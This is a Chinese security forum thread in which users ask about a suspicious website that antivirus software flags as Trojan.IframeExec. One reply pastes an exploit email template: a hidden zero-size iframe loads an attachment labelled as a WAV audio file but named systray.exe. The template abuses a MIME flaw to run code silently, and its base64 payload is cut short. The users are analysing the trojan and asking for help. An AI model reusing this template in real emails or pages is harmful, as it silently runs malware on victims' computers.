论坛: 病毒专区 标题: 新病毒???? 复制本贴地址    
作者: lei88 [lei88]    论坛用户   登录
http://ppp365.nease.net/
真分析这个病毒?

地主 发表时间: 04/01 19:42
回复: cwenqiang [cwenqiang]   论坛用户   登录
是个木马!

B1层 发表时间: 04/02 11:17
回复: cwenqiang [cwenqiang]   论坛用户   登录
Trojan.IframeExec
这是用金山查到的病毒的名字

B2层 发表时间: 04/02 11:25
回复: cwenqiang [cwenqiang]   论坛用户   登录
Trojan.IframeExec
这是用金山查到的病毒的名字

B3层 发表时间: 04/02 11:25
回复: morziguang [morziguang]   论坛用户   登录
怎么用手功杀毒啊
我中了
杀不掉


B4层 发表时间: 04/02 13:13
回复: morziguang [morziguang]   论坛用户   登录
From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--1
Content-Type: multipart/alternative;
boundary="2"


--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
ok<BR>
</BODY>
</HTML>

--2--

--1
Content-Type: audio/x-wav;
      name="systray.exe"
Content-Transfer-Encoding: base64
Content-ID: <THE-CID>

TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA略去一部分.

------=_NextPart_000_0009_01C2F306.320C85B0--

我又看了一下,是一个利用MIME漏洞的网页.可以在你不知道的情况下下载并执行文件.不过谁还是帮忙看看是什么程序.

B5层 发表时间: 04/02 17:27

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon

粤ICP备05087286号